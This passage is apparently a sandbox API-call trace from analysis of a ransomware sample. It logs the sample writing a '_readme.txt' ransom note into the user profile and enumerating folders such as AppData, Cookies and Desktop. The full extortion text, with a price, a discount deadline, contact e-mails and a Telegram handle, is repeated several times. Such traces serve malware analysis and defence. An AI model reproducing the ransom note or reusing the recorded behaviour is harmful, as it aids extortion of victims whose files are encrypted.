Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.514] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.514] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960eb8 | out: hHeap=0xd10000) returned 1 [0116.514] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960eb8 [0116.514] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.514] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.514] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960eb8 | out: hHeap=0xd10000) returned 1 [0116.515] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960eb8 [0116.515] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.515] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.515] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960eb8 | out: hHeap=0xd10000) returned 1 [0116.515] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960eb8 [0116.515] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.515] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.515] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960eb8 | out: hHeap=0xd10000) returned 1 [0116.515] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960eb8 [0116.515] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.515] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.515] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960eb8 | out: hHeap=0xd10000) returned 1 [0116.515] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960eb8 [0116.515] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.515] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.515] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960eb8 | out: hHeap=0xd10000) returned 1 [0116.515] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960eb8 [0116.515] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.515] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.515] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960eb8 | out: hHeap=0xd10000) returned 1 [0116.515] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960eb8 [0116.515] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.515] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.515] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960eb8 | out: hHeap=0xd10000) returned 1 [0116.515] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960eb8 [0116.515] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.515] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.515] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.515] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.515] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960eb8 | out: hHeap=0xd10000) returned 1 [0116.515] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960eb8 [0116.515] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.516] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.516] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960eb8 | out: hHeap=0xd10000) returned 1 [0116.516] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960eb8 [0116.516] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.516] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.516] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.516] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.516] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960eb8 | out: hHeap=0xd10000) returned 1 [0116.516] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960eb8 [0116.516] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.516] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.516] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960eb8 | out: hHeap=0xd10000) returned 1 [0116.516] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960eb8 [0116.516] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.516] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.516] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960eb8 | out: hHeap=0xd10000) returned 1 [0116.516] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960eb8 [0116.516] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.516] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.516] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960eb8 | out: hHeap=0xd10000) returned 1 [0116.516] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.516] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.516] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c98 | out: hHeap=0xd10000) returned 1 [0116.516] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.516] PathFindFileNameW (pszPath="") returned="" [0116.516] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.517] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.517] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.517] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.517] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c98 | out: hHeap=0xd10000) returned 1 [0116.517] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.517] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960f00 | out: hHeap=0xd10000) returned 1 [0116.517] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", pMore="_readme.txt" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 1 [0116.517] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.517] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960f00 | out: hHeap=0xd10000) returned 1 [0116.517] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 0 [0116.517] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f7f20 [0116.517] lstrcpyW (in: lpString1=0x39f7f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.517] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.517] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dd3b8 [0116.517] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x60c [0116.518] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x930) returned 0x39f3ef0 [0116.518] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x895) returned 0x39f4828 [0116.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4828, cbMultiByte=2197, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 1174 [0116.518] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8a0) returned 0x39ffc28 [0116.518] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4828 | out: hHeap=0xd10000) returned 1 [0116.518] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.518] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned 1173 [0116.518] WriteFile (in: hFile=0x60c, lpBuffer=0x39ffc28*, nNumberOfBytesToWrite=0x495, lpNumberOfBytesWritten=0x405fb64, lpOverlapped=0x0 | out: lpBuffer=0x39ffc28*, lpNumberOfBytesWritten=0x405fb64*=0x495, lpOverlapped=0x0) returned 1 [0116.519] CloseHandle (hObject=0x60c) returned 1 [0116.519] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39ffc28 | out: hHeap=0xd10000) returned 1 [0116.519] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.519] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7f20 | out: hHeap=0xd10000) returned 1 [0116.519] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.519] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960f00 [0116.519] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6bf02a10, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x6bf02a10, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.519] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960f00 | out: hHeap=0xd10000) returned 1 [0116.519] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6bf02a10, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x6bf02a10, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.519] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0116.520] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f220 [0116.520] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f1c8 [0116.520] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x1c) returned 0x3947c98 [0116.520] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f170 [0116.520] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f1c8 | out: hHeap=0xd10000) returned 1 [0116.520] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f220 | out: hHeap=0xd10000) returned 1 [0116.520] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0116.520] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0116.520] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0116.520] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x38) returned 0x3983720 [0116.520] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f220 [0116.520] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f170 | out: hHeap=0xd10000) returned 1 [0116.520] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c98 | out: hHeap=0xd10000) returned 1 [0116.520] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb200 [0116.520] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0116.520] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0116.520] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0116.520] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f170 [0116.520] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f1c8 [0116.520] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x54) returned 0x39668a0 [0116.520] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.520] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0116.520] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f220 | out: hHeap=0xd10000) returned 1 [0116.520] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb200 | out: hHeap=0xd10000) returned 1 [0116.520] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3983720 | out: hHeap=0xd10000) returned 1 [0116.520] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f220 [0116.520] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f1c8 | out: hHeap=0xd10000) returned 1 [0116.520] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f170 | out: hHeap=0xd10000) returned 1 [0116.520] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0116.520] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f170 [0116.520] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f1c8 [0116.520] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39418b0 [0116.521] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f328 [0116.521] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb200 [0116.521] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f380 [0116.521] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.521] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0116.521] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31e5db80, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x31e5db80, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0116.521] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 